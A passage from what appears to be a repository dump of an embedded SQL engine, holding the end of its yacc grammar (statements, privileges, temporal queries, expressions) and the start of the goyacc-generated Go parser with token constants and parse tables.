cols: []string{$5}}\n    }\n|\n    ALTER TABLE tableName ADD COLUMN colSpec\n    {\n        $$ = &AddColumnStmt{table: $3, colSpec: $6}\n    }\n|\n    ALTER TABLE tableName RENAME TO tableName\n    {\n        $$ = &RenameTableStmt{oldName: $3, newName: $6}\n    }\n|\n    ALTER TABLE tableName RENAME COLUMN col_name TO col_name\n    {\n        $$ = &RenameColumnStmt{table: $3, oldName: $6, newName: $8}\n    }\n|\n    ALTER TABLE tableName DROP COLUMN col_name\n    {\n        $$ = &DropColumnStmt{table: $3, colName: $6}\n    }\n|\n    ALTER TABLE tableName DROP CONSTRAINT IDENTIFIER\n    {\n        $$ = &DropConstraintStmt{table: $3, constraintName: $6}\n    }\n|\n    CREATE USER IDENTIFIER WITH PASSWORD VARCHAR_LIT permission\n    {\n        $$ = &CreateUserStmt{username: $3, password: $6, permission: $7}\n    }\n|\n    ALTER USER IDENTIFIER WITH PASSWORD VARCHAR_LIT permission\n    {\n        $$ = &AlterUserStmt{username: $3, password: $6, permission: $7}\n    }\n|\n    DROP USER IDENTIFIER\n    {\n        $$ = &DropUserStmt{username: $3}\n    }\n|\n    GRANT sqlPrivileges ON DATABASE qualifiedName TO USER IDENTIFIER\n    {\n        $$ = &AlterPrivilegesStmt{database: $5, user: $8, privileges: $2, isGrant: true}\n    }\n|\n    REVOKE sqlPrivileges ON DATABASE qualifiedName TO USER IDENTIFIER\n    {\n        $$ = &AlterPrivilegesStmt{database: $5, user: $8, privileges: $2}\n    }\n;\n\nsqlPrivileges:\n    ALL PRIVILEGES\n    {\n        $$ = allPrivileges\n    }\n|\n    sqlPrivilege\n    {\n        $$ = []SQLPrivilege{$1}\n    }\n|\n    sqlPrivilege ',' sqlPrivileges\n    {\n        $$ = append($3, $1)\n    }\n\nsqlPrivilege:\n    SELECT\n    {\n        $$ = SQLPrivilegeSelect\n    }\n|\n    CREATE\n    {\n        $$ = SQLPrivilegeCreate\n    }\n|\n    INSERT\n    {\n        $$ = SQLPrivilegeInsert\n    }\n|\n    UPDATE\n    {\n        $$ = SQLPrivilegeUpdate\n    }\n|\n    DELETE\n    {\n        $$ = SQLPrivilegeDelete\n    }\n|\n    DROP\n    {\n        $$ = SQLPrivilegeDrop\n    }\n|\n    ALTER\n    {\n        $$ = SQLPrivilegeAlter\n    }\n;\n\npermission:\n    {\n        $$ = PermissionReadWrite\n    }\n|\n    READ\n    {\n        $$ = PermissionReadOnly\n    }\n|\n    READWRITE\n    {\n        $$ = PermissionReadWrite\n    }\n|\n    ADMIN\n    {\n        $$ = PermissionAdmin\n    }\n;\n\nopt_if_not_exists:\n    {\n        $$ = false\n    }\n|\n    IF NOT EXISTS\n    {\n        $$ = true\n    }\n;\n\ndmlstmt:\n    INSERT INTO tableRef insert_cols values_or_query opt_on_conflict\n    {\n        $$ = &UpsertIntoStmt{isInsert: true, tableRef: $3, cols: $4, ds: $5, onConflict: $6}\n    }\n|\n    UPSERT INTO tableRef insert_cols values_or_query\n    {\n        $$ = &UpsertIntoStmt{tableRef: $3, cols: $4, ds: $5}\n    }\n|\n    DELETE FROM tableRef opt_where opt_indexon opt_limit opt_offset\n    {\n        $$ = &DeleteFromStmt{tableRef: $3, where: $4, indexOn: $5, limit: $6, offset: $7}\n    }\n|\n    UPDATE tableRef SET updates opt_where opt_indexon opt_limit opt_offset\n    {\n        $$ = &UpdateStmt{tableRef: $2, updates: $4, where: $5, indexOn: $6, limit: $7, offset: $8}\n    }\n\nvalues_or_query:\n\tVALUES rows\n\t{\n\t\t$$ = &valuesDataSource{rows: $2}\n\t}\n|\n\tdqlstmt\n\t{\n\t\t$$ = $1.(DataSource)\n\t}\n\n\nopt_on_conflict:\n    {\n        $$ = nil\n    }\n|\n    ON CONFLICT DO NOTHING\n    {\n        $$ = &OnConflictDo{}\n    }\n\nupdates:\n    update\n    {\n        $$ = []*colUpdate{$1}\n    }\n|\n    updates  ',' update\n    {\n        $$ = append($1, $3)\n    }\n\nupdate:\n    IDENTIFIER CMPOP exp\n    {\n        $$ = &colUpdate{col: $1, op: $2, val: $3}\n    }\n\nrows:\n    row\n    {\n        $$ = []*RowSpec{$1}\n    }\n|\n    rows ',' row\n    {\n        $$ = append($1, $3)\n    }\n\nrow:\n    '(' opt_values ')'\n    {\n        $$ = &RowSpec{Values: $2}\n    }\n\ncols:\n    col\n    {\n        $$ = []*ColSelector{$1}\n    }\n|\n    cols ',' col\n    {\n        $$ = append($1, $3)\n    }\n\nopt_values:\n    {\n        $$ = nil\n    }\n|\n    values\n    {\n        $$ = $1\n    }\n\nvalues:\n    exp\n    {\n        $$ = []ValueExp{$1}\n    }\n|\n    values ',' exp\n    {\n        $$ = append($1, $3)\n    }\n\nval:\n    INTEGER_LIT\n    {\n        $$ = &Integer{val: int64($1)}\n    }\n|\n    FLOAT_LIT\n    {\n        $$ = &Float64{val: float64($1)}\n    }\n|\n    VARCHAR_LIT\n    {\n        $$ = &Varchar{val: $1}\n    }\n|\n    BOOLEAN_LIT\n    {\n        $$ = &Bool{val:$1}\n    }\n|\n    BLOB_LIT\n    {\n        $$ = &Blob{val: $1}\n    }\n|\n    CAST '(' exp AS sql_type ')'\n    {\n        $$ = &Cast{val: $3, t: $5}\n    }\n|\n    fnCall\n    {\n        $$ = $1\n    }\n|\n    NPARAM\n    {\n        $$ = &Param{id: $1}\n    }\n|\n    PPARAM\n    {\n        $$ = &Param{id: fmt.Sprintf(\"param%d\", $1), pos: $1}\n    }\n|\n    NULL\n    {\n        $$ = &NullValue{t: AnyType}\n    }\n;\n\nsql_type:\n    INTEGER_TYPE { $$ = IntegerType }\n    | BOOLEAN_TYPE { $$ = BooleanType }\n    | VARCHAR_TYPE { $$ = VarcharType }\n    | UUID_TYPE { $$ = UUIDType }\n    | BLOB_TYPE  { $$ = BLOBType }\n    | TIMESTAMP_TYPE { $$ = TimestampType }\n    | FLOAT_TYPE { $$ = Float64Type }\n    | JSON_TYPE { $$ = JSONType }\n;\n\nfnCall:\n    IDENTIFIER '(' opt_values ')'\n    {\n        $$ = &FnCall{fn: $1, params: $3}\n    }\n\ntableElems:\n    tableElem\n    {\n        $$ = []TableElem{$1}\n    }\n|\n    tableElems ',' tableElem\n    {\n        $$ = append($1, $3)\n    }\n\ntableElem:\n   colSpec\n   {\n        $$ = $1\n   }\n|\n    check\n    {\n        $$ = $1\n    }\n|\n    PRIMARY KEY one_or_more_col_names\n    {\n        $$ = PrimaryKeyConstraint($3)\n    }\n;\n\ncolSpec:\n    col_name sql_type opt_max_len opt_not_null opt_auto_increment opt_primary_key\n    {\n        $$ = &ColSpec{\n            colName: $1, \n            colType: $2, \n            maxLen: int($3), \n            notNull: $4 || $6, \n            autoIncrement: $5,\n            primaryKey: $6,\n        }\n    }\n;\n\nopt_primary_key:\n    {\n        $$ = false\n    }\n|\n    PRIMARY KEY\n    {\n        $$ = true\n    }\n;\n\nopt_max_len:\n    {\n        $$ = 0\n    }\n|\n    '[' INTEGER_LIT ']'\n    {\n        $$ = $2\n    }\n|\n    '(' INTEGER_LIT ')'\n    {\n        $$ = $2\n    }\n\nopt_auto_increment:\n    {\n        $$ = false\n    }\n|\n    AUTO_INCREMENT\n    {\n        $$ = true\n    }\n\nopt_not_null:\n    {\n        $$ = false\n    }\n|\n    NULL\n    {\n        $$ = false\n    }\n|\n    NOT NULL\n    {\n        $$ = true\n    }\n\ndqlstmt:\n    select_stmt\n    {\n        $$ = $1\n    }\n|\n    select_stmt UNION opt_all dqlstmt\n    {\n        $$ = &UnionStmt{\n            distinct: $3,\n            left: $1.(DataSource),\n            right: $4.(DataSource),\n        }\n    }\n|\n    SHOW DATABASES\n    {\n        $$ = &SelectStmt{\n            ds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"databases\"}},\n        }\n    }\n|\n    SHOW TABLES\n    {\n        $$ = &SelectStmt{\n            ds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"tables\"}},\n        }\n    }\n|\n    SHOW TABLE IDENTIFIER\n    {\n        $$ = &SelectStmt{\n            ds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"table\", params: []ValueExp{&Varchar{val: $3}}}},\n        }\n    }\n|\n    SHOW USERS\n    {\n        $$ = &SelectStmt{\n            ds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"users\"}},\n        }\n    }\n|\n    SHOW GRANTS\n    {\n         $$ = &SelectStmt{\n            ds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"grants\"}},\n        }\n    }\n|\n    SHOW GRANTS FOR IDENTIFIER\n    {\n         $$ = &SelectStmt{\n            ds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"grants\", params: []ValueExp{&Varchar{val: $4}}}},\n        }\n    }\n\nselect_stmt: SELECT opt_distinct opt_targets FROM ds opt_indexon opt_joins opt_where opt_groupby opt_having opt_orderby opt_limit opt_offset\n    {\n        $$ = &SelectStmt{\n                distinct: $2,\n                targets: $3,\n                ds: $5,\n                indexOn: $6,\n                joins: $7,\n                where: $8,\n                groupBy: $9,\n                having: $10,\n                orderBy: $11,\n                limit: $12,\n                offset: $13,\n            }\n    }\n|\n    SELECT opt_distinct opt_targets\n    {\n        $$ = &SelectStmt{\n            distinct: $2,\n            targets: $3,\n            ds: &valuesDataSource{rows: []*RowSpec{{}}},\n        }\n    }\n;\n\nopt_all:\n    {\n        $$ = true\n    }\n|\n    ALL\n    {\n        $$ = false\n    }\n\nopt_distinct:\n    {\n        $$ = false\n    }\n|\n    DISTINCT\n    {\n        $$ = true\n    }\n\nopt_targets:\n    '*'\n    {\n        $$ = nil\n    }\n|\n    targets\n    {\n        $$ = $1\n    }\n\ntargets:\n    exp opt_as\n    {\n        $$ = []TargetEntry{{Exp: $1, As: $2}}\n    }\n|\n    targets ',' exp opt_as\n    {\n        $$ = append($1, TargetEntry{Exp: $3, As: $4})\n    }\n\nselector:\n    col\n    {\n        $$ = $1\n    }\n|\n    col jsonFields\n    {\n        $$ = &JSONSelector{ColSelector: $1, fields: $2}\n    }\n|\n    AGGREGATE_FUNC '(' '*' ')'\n    {\n        $$ = &AggColSelector{aggFn: $1, col: \"*\"}\n    }\n|\n    AGGREGATE_FUNC '(' col ')'\n    {\n        $$ = &AggColSelector{aggFn: $1, table: $3.table, col: $3.col}\n    }\n\njsonFields:\n    ARROW VARCHAR_LIT\n    {\n        $$ = []string{$2}\n    }\n|\n    jsonFields ARROW VARCHAR_LIT\n    {\n        $$ = append($$, $3)\n    }\n\ncol:\n    col_name\n    {\n        $$ = &ColSelector{col: $1}\n    }\n|\n    col_name DOT col_name\n    {\n        $$ = &ColSelector{table: $1, col: $3}\n    }\n;\n\ntableName: qualifiedName;\n\ncol_name:\n    qualifiedName\n|\n    colNameKeyword { $$ = $1 }\n;\n\ncol_names:\n    col_name { $$ = []string{$1} }\n|\n    col_names ',' col_name { $$ = append($1, $3) }  \n;\n\none_or_more_col_names:\n    col_name\n    {\n        $$ = []string{$1}\n    }\n|\n    '(' col_names ')'\n    {\n        $$ = $2\n    }\n;\n\ninsert_cols:\n    { $$ = nil }\n|\n    '(' col_names ')' { $$ = $2 }\n;\n\n\ncolNameKeyword:\n    BETWEEN\n    | BLOB_TYPE\n    | BOOLEAN_TYPE\n    | EXISTS\n    | EXTRACT\n    | FLOAT_TYPE\n    | INTEGER_TYPE\n    | JSON_TYPE\n    | TIMESTAMP_TYPE\n    | VALUES\n    | VARCHAR_TYPE\n;\n\nqualifiedName:\n    IDENTIFIER { $$ = $1 }\n    | unreserved_keyword { $$ = string($1) }\n;\n\nunreserved_keyword:\n    ADMIN\n    | OF\n    | DROP\n    | DATABASE\n    | SNAPSHOT\n    | INDEX\n    | ALTER\n    | ADD\n    | RENAME\n    | CONSTRAINT\n    | KEY\n    | GRANT\n    | REVOKE\n    | PRIVILEGES\n    | BEGIN\n    | TRANSACTION\n    | COMMIT\n    | ROLLBACK\n    | INSERT\n    | DELETE\n    | UPDATE\n    | CONFLICT\n    | IF\n    | SHOW\n    | TABLES\n    | YEAR\n    | MONTH\n    | DAY\n    | HOUR\n    | MINUTE\n    | SECOND\n    | USERS\n;\n\nds:\n    tableRef opt_period opt_as\n    {\n        $1.period = $2\n        $1.as = $3\n        $$ = $1\n    }\n|\n    '(' VALUES rows ')'\n    {\n        $$ = &valuesDataSource{inferTypes: true, rows: $3}\n    }\n|\n    '(' dqlstmt ')' opt_as\n    {\n        $2.(*SelectStmt).as = $4\n        $$ = $2.(DataSource)\n    }\n|\n    DATABASES '(' ')' opt_as\n    {\n        $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: \"databases\"}, as: $4}\n    }\n|\n    TABLES '(' ')' opt_as\n    {\n        $$ = &FnDataSourceStmt{fnCall:  &FnCall{fn: \"tables\"}, as: $4}\n    }\n|\n    TABLE '(' IDENTIFIER ')'\n    {\n        $$ = &FnDataSourceStmt{fnCall:  &FnCall{fn: \"table\", params: []ValueExp{&Varchar{val: $3}}}}\n    }\n|\n    USERS '(' ')' opt_as\n    {\n        $$ = &FnDataSourceStmt{fnCall:  &FnCall{fn: \"users\"}, as: $4}\n    }\n|\n    fnCall opt_as\n    {\n        $$ = &FnDataSourceStmt{fnCall: $1.(*FnCall), as: $2}\n    }\n|\n    '(' HISTORY OF IDENTIFIER ')' opt_as\n    {\n        $$ = &tableRef{table: $4, history: true, as: $6}\n    }\n\ntableRef:\n    qualifiedName\n    {\n        $$ = &tableRef{table: $1}\n    }\n\nopt_period:\n    opt_period_start opt_period_end\n    {\n        $$ = period{start: $1, end: $2}\n    }\n\nopt_period_start:\n    {\n        $$ = nil\n    }\n|\n    SINCE period_instant\n    {\n        $$ = &openPeriod{inclusive: true, instant: $2}\n    }\n|\n    AFTER period_instant\n    {\n        $$ = &openPeriod{instant: $2}\n    }\n\nopt_period_end:\n    {\n        $$ = nil\n    }\n|\n    UNTIL period_instant\n    {\n        $$ = &openPeriod{inclusive: true, instant: $2}\n    }\n|\n    BEFORE period_instant\n    {\n        $$ = &openPeriod{instant: $2}\n    }\n\nperiod_instant:\n    TX exp\n    {\n        $$ = periodInstant{instantType: txInstant, exp: $2}\n    }\n|\n    exp\n    {\n        $$ = periodInstant{instantType: timeInstant, exp: $1}\n    }\n\nopt_joins:\n    {\n        $$ = nil\n    }\n|\n    joins\n    {\n        $$ = $1\n    }\n\njoins:\n    join\n    {\n        $$ = []*JoinSpec{$1}\n    }\n|\n    join joins\n    {\n        $$ = append([]*JoinSpec{$1}, $2...)\n    }\n\njoin:\n    opt_join_type JOIN ds opt_indexon ON exp\n    {\n        $$ = &JoinSpec{joinType: $1, ds: $3, indexOn: $4, cond: $6}\n    }\n\nopt_join_type:\n    {\n        $$ = InnerJoin\n    }\n|\n    JOINTYPE\n    {\n        $$ = $1\n    }\n\nopt_where:\n    {\n        $$ = nil\n    }\n|\n    WHERE exp\n    {\n        $$ = $2\n    }\n\nopt_groupby:\n    {\n        $$ = nil\n    }\n|\n    GROUP BY cols\n    {\n        $$ = $3\n    }\n\nopt_having:\n    {\n        $$ = nil\n    }\n|\n    HAVING exp\n    {\n        $$ = $2\n    }\n\nopt_limit:\n    {\n        $$ = nil\n    }\n|\n    LIMIT exp\n    {\n        $$ = $2\n    }\n\nopt_offset:\n    {\n        $$ = nil\n    }\n|\n    OFFSET exp\n    {\n        $$ = $2\n    }\n\nopt_orderby:\n    {\n        $$ = nil\n    }\n|\n    ORDER BY ordexps\n    {\n        $$ = $3\n    }\n\nopt_indexon:\n    {\n        $$ = nil\n    }\n|\n    USE INDEX ON one_or_more_col_names\n    {\n        $$ = $4\n    }\n;\n\nordexps:\n    exp opt_ord\n    {\n        $$ = []*OrdExp{{exp: $1, descOrder: $2}}\n    }\n|\n    ordexps ',' exp opt_ord\n    {\n        $$ = append($1, &OrdExp{exp: $3, descOrder: $4})\n    }\n\nopt_ord:\n    {\n        $$ = false\n    }\n|\n    ASC\n    {\n        $$ = false\n    }\n|\n    DESC\n    {\n        $$ = true\n    }\n\nopt_as:\n    {\n        $$ = \"\"\n    }\n|\n    qualifiedName\n    {\n        $$ = $1\n    }\n|\n    AS qualifiedName\n    {\n        $$ = $2\n    }\n;\n\ncheck:\n    CHECK exp\n    {\n        $$ = CheckConstraint{exp: $2}\n    }\n|\n    CONSTRAINT IDENTIFIER CHECK exp\n    {\n        $$ = CheckConstraint{name: $2, exp: $4}\n    }\n\nopt_exp:\n    {\n        $$ = nil\n    }\n|\n    exp\n    {\n        $$ = $1\n    }\n;\n\ncase_when_exp:\n    CASE opt_exp when_then_clauses opt_else END\n    {\n        $$ = &CaseWhenExp{\n            exp: $2,\n            whenThen: $3,\n            elseExp: $4,\n        }\n    }\n;\n\nwhen_then_clauses:\n    WHEN exp THEN exp\n    {\n        $$ = []whenThenClause{{when: $2, then: $4}}\n    }\n|\n    when_then_clauses WHEN exp THEN exp\n    {\n        $$ = append($1, whenThenClause{when: $3, then: $5})\n    }\n;\n\nopt_else:\n    {\n        $$ = nil\n    }\n|\n    ELSE exp\n    {\n        $$ = $2\n    }\n;\n\nexp\n    : orExp { $$ = $1 }\n    ;\n\norExp\n    : orExp OR andExp { $$ = &BinBoolExp{left: $1, op: Or, right: $3} }\n    | andExp\n    ;\n\nandExp\n    : andExp AND notExp { $$ = &BinBoolExp{left: $1, op: And, right: $3} }\n    | notExp\n    ;\n\nnotExp\n    : NOT notExp { $$ = &NotBoolExp{exp: $2} }\n    | cmpExp\n    ;\n\ncmpExp\n    : addExp CMPOP addExp               { $$ = &CmpBoolExp{left: $1, op: $2, right: $3} }\n    | addExp IS NULL                    { $$ = &CmpBoolExp{left: $1, op: EQ, right: &NullValue{t: AnyType}} }\n    | addExp IS NOT NULL                { $$ = &CmpBoolExp{left: $1, op: NE, right: &NullValue{t: AnyType}} }\n    | addExp BETWEEN addExp AND addExp\n    {\n        $$ = &BinBoolExp{\n            left: &CmpBoolExp{\n                left: $1,\n                op: GE,\n                right: $3,\n            },\n            op: And,\n            right: &CmpBoolExp{\n                left: $1,\n                op: LE,\n                right: $5,\n            },\n        }\n    }\n    | addExp opt_not LIKE addExp    { $$ = &LikeBoolExp{val: $1, notLike: $2, pattern: $4} }\n    | addExp NOT_MATCHES_OP addExp  { $$ = &LikeBoolExp{val: $1, notLike: true, pattern: $3} }\n    | primaryBool\n    ;\n\nprimaryBool\n    : EXISTS '(' dqlstmt ')'            { $$ = &ExistsBoolExp{q: ($3).(DataSource)} }\n    | addExp opt_not IN '(' dqlstmt ')' { $$ = &InSubQueryExp{val: $1, notIn: $2, q: $5.(*SelectStmt)} }\n    | addExp opt_not IN '(' values ')'  { $$ = &InListExp{val: $1, notIn: $2, values: $5} }\n    | case_when_exp                     { $$ = $1 }\n    | addExp\n    ;\n\naddExp\n    : addExp '+' mulExp { $$ = &NumExp{left: $1, op: ADDOP, right: $3} }\n    | addExp '-' mulExp { $$ = &NumExp{left: $1, op: SUBSOP, right: $3} }\n    | mulExp\n    ;\n\nmulExp\n    : mulExp '*' unaryExp { $$ = &NumExp{left: $1, op: MULTOP, right: $3} }\n    | mulExp '/' unaryExp { $$ = &NumExp{left: $1, op: DIVOP, right: $3} }\n    | mulExp '%' unaryExp { $$ = &NumExp{left: $1, op: MODOP, right: $3} }\n    | unaryExp\n    ;\n\nunaryExp\n    : '-' unaryExp\n    {\n        i, isInt := $2.(*Integer)\n        if isInt {\n            i.val = -i.val\n            $$ = i\n        } else {\n            $$ = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: $2}\n        }\n    }\n|\n    primary\n;\n\nprimary\n    : '(' exp ')' { $$ = $2 }\n    | boundexp\n    ;\n\nboundexp:\n    selector\n    {\n        $$ = $1\n    }\n|\n    val\n    {\n        $$ = $1\n    }\n|\n    boundexp SCAST sql_type\n    {\n        $$ = &Cast{val: $1, t: $3}\n    }\n|\n    EXTRACT '(' timestamp_field FROM exp ')'\n    {\n        $$ = &ExtractFromTimestampExp{Field: $3, Exp: $5}\n    }\n;\n\nopt_not:\n    {\n        $$ = false\n    }\n|\n    NOT\n    {\n        $$ = true\n    }\n;\n\ntimestamp_field:\n    YEAR   { $$ = TimestampFieldTypeYear; }\n    | MONTH  { $$ = TimestampFieldTypeMonth; }\n    | DAY    { $$ = TimestampFieldTypeDay; }\n    | HOUR   { $$ = TimestampFieldTypeHour; }\n    | MINUTE { $$ = TimestampFieldTypeMinute; }\n    | SECOND { $$ = TimestampFieldTypeSecond; }\n;\n"
  },
  {
    "path": "embedded/sql/sql_parser.go",
    "content": "// Code generated by goyacc -l -o sql_parser.go sql_grammar.y. DO NOT EDIT.\npackage sql\n\nimport __yyfmt__ \"fmt\"\n\nimport \"fmt\"\n\nfunc setResult(l yyLexer, stmts []SQLStmt) {\n\tl.(*lexer).result = stmts\n}\n\ntype yySymType struct {\n\tyys             int\n\tstmts           []SQLStmt\n\tstmt            SQLStmt\n\tdatasource      DataSource\n\tcolSpec         *ColSpec\n\tcols            []*ColSelector\n\trows            []*RowSpec\n\trow             *RowSpec\n\tvalues          []ValueExp\n\tvalue           ValueExp\n\tid              string\n\tinteger         uint64\n\tfloat           float64\n\tstr             string\n\tboolean         bool\n\tblob            []byte\n\tkeyword         string\n\tsqlType         SQLValueType\n\taggFn           AggregateFn\n\tcolNames        []string\n\tcol             *ColSelector\n\tsel             Selector\n\ttargets         []TargetEntry\n\tjsonFields      []string\n\tdistinct        bool\n\tds              DataSource\n\ttableRef        *tableRef\n\tperiod          period\n\topenPeriod      *openPeriod\n\tperiodInstant   periodInstant\n\tjoins           []*JoinSpec\n\tjoin            *JoinSpec\n\tjoinType        JoinType\n\tcheck           CheckConstraint\n\texp             ValueExp\n\tbinExp          ValueExp\n\terr             error\n\tordexps         []*OrdExp\n\topt_ord         bool\n\tlogicOp         LogicOperator\n\tcmpOp           CmpOperator\n\tpparam          int\n\tupdate          *colUpdate\n\tupdates         []*colUpdate\n\tonConflict      *OnConflictDo\n\tpermission      Permission\n\tsqlPrivilege    SQLPrivilege\n\tsqlPrivileges   []SQLPrivilege\n\twhenThenClauses []whenThenClause\n\ttableElem       TableElem\n\ttableElems      []TableElem\n\ttimestampField  TimestampFieldType\n}\n\nconst CREATE = 57346\nconst DROP = 57347\nconst USE = 57348\nconst DATABASE = 57349\nconst USER = 57350\nconst WITH = 57351\nconst PASSWORD = 57352\nconst READ = 57353\nconst READWRITE = 57354\nconst ADMIN = 57355\nconst SNAPSHOT = 57356\nconst HISTORY = 57357\nconst SINCE = 57358\nconst AFTER = 57359\nconst BEFORE = 57360\nconst UNTIL = 57361\nconst TX = 57362\nconst OF = 57363\nconst INTEGER_TYPE = 57364\nconst BOOLEAN_TYPE = 57365\nconst VARCHAR_TYPE = 57366\nconst UUID_TYPE = 57367\nconst BLOB_TYPE = 57368\nconst TIMESTAMP_TYPE = 57369\nconst FLOAT_TYPE = 57370\nconst JSON_TYPE = 57371\nconst TABLE = 57372\nconst UNIQUE = 57373\nconst INDEX = 57374\nconst ON = 57375\nconst ALTER = 57376\nconst ADD = 57377\nconst RENAME = 57378\nconst TO = 57379\nconst COLUMN = 57380\nconst CONSTRAINT = 57381\nconst PRIMARY = 57382\nconst KEY = 57383\nconst CHECK = 57384\nconst GRANT = 57385\nconst REVOKE = 57386\nconst GRANTS = 57387\nconst FOR = 57388\nconst PRIVILEGES = 57389\nconst BEGIN = 57390\nconst TRANSACTION = 57391\nconst COMMIT = 57392\nconst ROLLBACK = 57393\nconst INSERT = 57394\nconst UPSERT = 57395\nconst INTO = 57396\nconst VALUES = 57397\nconst DELETE = 57398\nconst UPDATE = 57399\nconst SET = 57400\nconst CONFLICT = 57401\nconst DO = 57402\nconst NOTHING = 57403\nconst RETURNING = 57404\nconst SELECT = 57405\nconst DISTINCT = 57406\nconst FROM = 57407\nconst JOIN = 57408\nconst HAVING = 57409\nconst WHERE = 57410\nconst GROUP = 57411\nconst BY = 57412\nconst LIMIT = 57413\nconst OFFSET = 57414\nconst ORDER = 57415\nconst ASC = 57416\nconst DESC = 57417\nconst AS = 57418\nconst UNION = 57419\nconst ALL = 57420\nconst CASE = 57421\nconst WHEN = 57422\nconst THEN = 57423\nconst ELSE = 57424\nconst END = 57425\nconst NOT = 57426\nconst LIKE = 57427\nconst IF = 57428\nconst EXISTS = 57429\nconst IN = 57430\nconst IS = 57431\nconst AUTO_INCREMENT = 57432\nconst NULL = 57433\nconst CAST = 57434\nconst SCAST = 57435\nconst SHOW = 57436\nconst DATABASES = 57437\nconst TABLES = 57438\nconst USERS = 57439\nconst BETWEEN = 57440\nconst EXTRACT = 57441\nconst YEAR = 57442\nconst MONTH = 57443\nconst DAY = 57444\nconst HOUR = 57445\nconst MINUTE = 57446\nconst SECOND = 57447\nconst NPARAM = 57448\nconst PPARAM = 57449\nconst JOINTYPE = 57450\nconst AND = 57451\nconst OR = 57452\nconst CMPOP = 57453\nconst NOT_MATCHES_OP = 57454\nconst IDENTIFIER = 57455\nconst INTEGER_LIT = 57456\nconst FLOAT_LIT = 57457\nconst VARCHAR_LIT = 57458\nconst BOOLEAN_LIT = 57459\nconst BLOB_LIT = 57460\nconst AGGREGATE_FUNC = 57461\nconst ERROR = 57462\nconst DOT = 57463\nconst ARROW = 57464\nconst STMT_SEPARATOR = 57465\n\nvar yyToknames = [...]string{\n\t\"$end\",\n\t\"error\",\n\t\"$unk\",\n\t\"CREATE\",\n\t\"DROP\",\n\t\"USE\",\n\t\"DATABASE\",\n\t\"USER\",\n\t\"WITH\",\n\t\"PASSWORD\",\n\t\"READ\",\n\t\"READWRITE\",\n\t\"ADMIN\",\n\t\"SNAPSHOT\",\n\t\"HISTORY\",\n\t\"SINCE\",\n\t\"AFTER\",\n\t\"BEFORE\",\n\t\"UNTIL\",\n\t\"TX\",\n\t\"OF\",\n\t\"INTEGER_TYPE\",\n\t\"BOOLEAN_TYPE\",\n\t\"VARCHAR_TYPE\",\n\t\"UUID_TYPE\",\n\t\"BLOB_TYPE\",\n\t\"TIMESTAMP_TYPE\",\n\t\"FLOAT_TYPE\",\n\t\"JSON_TYPE\",\n\t\"TABLE\",\n\t\"UNIQUE\",\n\t\"INDEX\",\n\t\"ON\",\n\t\"ALTER\",\n\t\"ADD\",\n\t\"RENAME\",\n\t\"TO\",\n\t\"COLUMN\",\n\t\"CONSTRAINT\",\n\t\"PRIMARY\",\n\t\"KEY\",\n\t\"CHECK\",\n\t\"GRANT\",\n\t\"REVOKE\",\n\t\"GRANTS\",\n\t\"FOR\",\n\t\"PRIVILEGES\",\n\t\"BEGIN\",\n\t\"TRANSACTION\",\n\t\"COMMIT\",\n\t\"ROLLBACK\",\n\t\"INSERT\",\n\t\"UPSERT\",\n\t\"INTO\",\n\t\"VALUES\",\n\t\"DELETE\",\n\t\"UPDATE\",\n\t\"SET\",\n\t\"CONFLICT\",\n\t\"DO\",\n\t\"NOTHING\",\n\t\"RETURNING\",\n\t\"SELECT\",\n\t\"DISTINCT\",\n\t\"FROM\",\n\t\"JOIN\",\n\t\"HAVING\",\n\t\"WHERE\",\n\t\"GROUP\",\n\t\"BY\",\n\t\"LIMIT\",\n\t\"OFFSET\",\n\t\"ORDER\",\n\t\"ASC\",\n\t\"DESC\",\n\t\"AS\",\n\t\"UNION\",\n\t\"ALL\",\n\t\"CASE\",\n\t\"WHEN\",\n\t\"THEN\",\n\t\"ELSE\",\n\t\"END\",\n\t\"NOT\",\n\t\"LIKE\",\n\t\"IF\",\n\t\"EXISTS\",\n\t\"IN\",\n\t\"IS\",\n\t\"AUTO_INCREMENT\",\n\t\"NULL\",\n\t\"CAST\",\n\t\"SCAST\",\n\t\"SHOW\",\n\t\"DATABASES\",\n\t\"TABLES\",\n\t\"USERS\",\n\t\"BETWEEN\",\n\t\"EXTRACT\",\n\t\"YEAR\",\n\t\"MONTH\",\n\t\"DAY\",\n\t\"HOUR\",\n\t\"MINUTE\",\n\t\"SECOND\",\n\t\"NPARAM\",\n\t\"PPARAM\",\n\t\"JOINTYPE\",\n\t\"AND\",\n\t\"OR\",\n\t\"CMPOP\",\n\t\"NOT_MATCHES_OP\",\n\t\"IDENTIFIER\",\n\t\"INTEGER_LIT\",\n\t\"FLOAT_LIT\",\n\t\"VARCHAR_LIT\",\n\t\"BOOLEAN_LIT\",\n\t\"BLOB_LIT\",\n\t\"AGGREGATE_FUNC\",\n\t\"ERROR\",\n\t\"DOT\",\n\t\"ARROW\",\n\t\"','\",\n\t\"'+'\",\n\t\"'-'\",\n\t\"'*'\",\n\t\"'/'\",\n\t\"'%'\",\n\t\"'.'\",\n\t\"STMT_SEPARATOR\",\n\t\"'('\",\n\t\"')'\",\n\t\"'['\",\n\t\"']'\",\n}\n\nvar yyStatenames = [...]string{}\n\nconst yyEofCode = 1\nconst yyErrCode = 2\nconst yyInitialStackSize = 16\n\nvar yyExca = [...]int16{\n\t-1, 1,\n\t1, -1,\n\t-2, 0,\n\t-1, 139,\n\t85, 277,\n\t88, 277,\n\t-2, 261,\n\t-1, 370,\n\t66, 210,\n\t-2, 205,\n\t-1, 428,\n\t66, 210,\n\t-2, 207,\n}\n\nconst yyPrivate = 57344\n\nconst yyLast = 1864\n\nvar yyAct = [...]int16{\n\t190, 522, 167, 421, 153, 278, 213, 161, 364, 284,\n\t204, 360, 275, 246, 312, 427, 335, 359, 6, 334,\n\t408, 399, 54, 247, 108, 207, 248, 101, 136, 272,\n\t102, 490, 497, 135, 139, 144, 188, 112, 102, 404,\n\t102, 403, 362, 362, 141, 491, 484, 340, 396, 483,\n\t418, 492, 486, 54, 54, 54, 485, 480, 165, 472,\n\t362, 362, 362, 114, 340, 116, 479, 477, 465, 458,\n\t412, 363, 438, 339, 436, 435, 433, 395, 393, 392,\n\t385, 59, 311, 60, 361, 407, 397, 384, 378, 57,\n\t61, 377, 376, 